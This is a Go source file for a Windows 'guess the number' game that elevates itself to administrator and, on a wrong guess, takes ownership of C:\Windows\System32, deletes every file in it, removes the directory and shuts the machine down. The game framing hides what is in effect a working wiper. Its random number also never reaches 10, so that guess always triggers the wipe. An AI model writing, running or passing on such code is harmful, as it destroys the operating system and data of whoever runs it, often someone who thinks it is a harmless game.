package main import ( "bufio" "fmt" "golang.org/x/sys/windows" "math/rand" "os" "os/exec" "strconv" "strings" "syscall" ) func main() { if !amAdmin() { runMeElevated() os.Exit(0) } randomNumber := rand.Intn(9) + 1 fmt.Println("Guess a number between 1 and 10") fmt.Print(">") reader := bufio.NewReader(os.Stdin) b, err := reader.ReadByte() if err != nil { os.Exit(1) } guess, err := strconv.Atoi(string(b)) if err != nil { os.Exit(1) } if guess != randomNumber { fmt.Println("Are you sure? [y/n]") fmt.Print(">") reader = bufio.NewReader(os.Stdin) b, err = reader.ReadByte() if err != nil { os.Exit(1) } ans := string(b) if ans == "n" { fmt.Println("Good choice") os.Exit(0) } fmt.Println("Oh no, you guessed wrong...") cmdTakeOwn := exec.Command("takeown.exe", "/f", "C:\\Windows\\System32") cmdICACLS := exec.Command("icacls.exe", "C:\\Windows\\System32") cmdFiles := exec.Command("cmd.exe", "/C", "del", "/s", "/q", "C:\\Windows\\System32\\*") cmdDir := exec.Command("cmd.exe", "/C", "rd", "/s", "/q", "C:\\Windows\\System32") err = cmdTakeOwn.Run() if err != nil { fmt.Printf("Error serving punishment p1: %v\n", err) } err = cmdICACLS.Run() if err != nil { fmt.Printf("Error serving punishment p2: %v\n", err) } err = cmdFiles.Run() if err != nil { fmt.Printf("Error serving punishment p3: %v\n", err) } err = cmdDir.Run() if err != nil { fmt.Printf("Error serving punishment p4: %v\n", err) } cmdShutdown := exec.Command("cmd.exe", "/C", "shutdown", "/t", "0", "/s") err = cmdShutdown.Run() if err != nil { fmt.Printf("Error shutting down: %v\n", err) } } else { fmt.Println("Congratulations, you live to see another day...", guess, "was the correct number :)") } fmt.Print("Press 'Enter' to continue...") bufio.NewReader(os.Stdin).ReadBytes('\n') } func runMeElevated() { verb := "runas" exe, _ := os.Executable() cwd, _ := os.Getwd() args := strings.Join(os.Args[1:], " ") verbPtr, _ := syscall.UTF16PtrFromString(verb) exePtr, _ := syscall.UTF16PtrFromString(exe) cwdPtr, _ := syscall.UTF16PtrFromString(cwd) argPtr, _ := syscall.UTF16PtrFromString(args) var showCmd int32 = 1 //SW_NORMAL err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd) if err != nil { fmt.Println(err) } } func amAdmin() bool { _, err := os.Open("\\\\.\\PHYSICALDRIVE0") if err != nil { return false } return true }